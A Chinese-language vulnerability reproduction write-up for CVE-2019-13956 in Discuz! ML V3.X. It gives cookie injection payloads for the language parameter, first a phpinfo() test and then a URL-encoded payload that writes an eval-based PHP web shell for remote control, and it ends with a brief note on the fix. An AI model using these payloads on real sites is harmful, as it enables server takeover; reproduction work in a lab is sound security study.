0.漏洞简述

Discuz! ML V3.X 版本中存在一处远程任意代码执行的执行的漏洞,编号为CVE-2019-13956

Discuz! ML 是基于Discuz!创建的一个多国语言版本,其在切换语言时cookie中的language参数由于没有进行一定的过滤,导致可以拼接任意代码执行,而且这个漏洞利用起来也非常的简单,危害也很大。

1.环境搭建

本次环境使用的是sourceforge上下载的X3.2版本。

直接利用phpstudy在虚拟机上把下载下来的upload目录拖入根目录,然后利用discuz的安装程序直接进行安装。

由于过程比较简单也不是本文的重点,所以不多赘述。

2.漏洞复现

2.1寻找注入点

打开首页以后我们直接利用burp抓包,然后点击右上角的语言切换触发post,此时我们可以看到cookie为

Cookie: ywi_2132_saltkey=uRA4yJj4; ywSi_2132_lastvisit=1650978448; ywSi_2132_sid=Ynk68P; ywSi_2132_language=sc; ywSi_2132_checkpatch=1; ywSi_2132_onlineusernum=1; ywSi_2132_lastact=1650988584%09home.php%09misc; ywSi_2132_sendmail=1

而其中ywSi_2132_language=sc;正是我们要找的地方。

2.2测试注入点

我们在burp中在sc的后面加上'.phpinfo().',修改后为ywSi_2132_language=sc'.phpinfo().',然后点击Forward按钮来查看页面能否显示出phpinfo,从而来判断漏洞是否存在。

页面刷新后成功显示出PHP的相关信息,证明漏洞是可以利用的!

2.3利用漏洞获得控制权

既然知道了cookie中的language参数是我们可控的,此时我们就可以构建php代码来取得控制权,此时我们把sc后面的代码改为:

'.+file_put_contents('1.php',urldecode('%253C%253Fphp%2520%2540eval%2528%2524_%2550%254F%2553%2554%255B%2527pass%2527%255D%2529%253B%253F%253E')).'

其中利用url编码是为了防止特殊字符,以及大写的POST会自动转化为小写从而导致代码失效。

成功注入以后我们可以直接利用中国蚁剑等工具进行连接(如图)。

3.漏洞修复思路

由于此次漏洞是因为cookie中的language参数未被过滤,所以可以在对应代码出利用str_replace函数对关键字符进行过滤从而防止利用。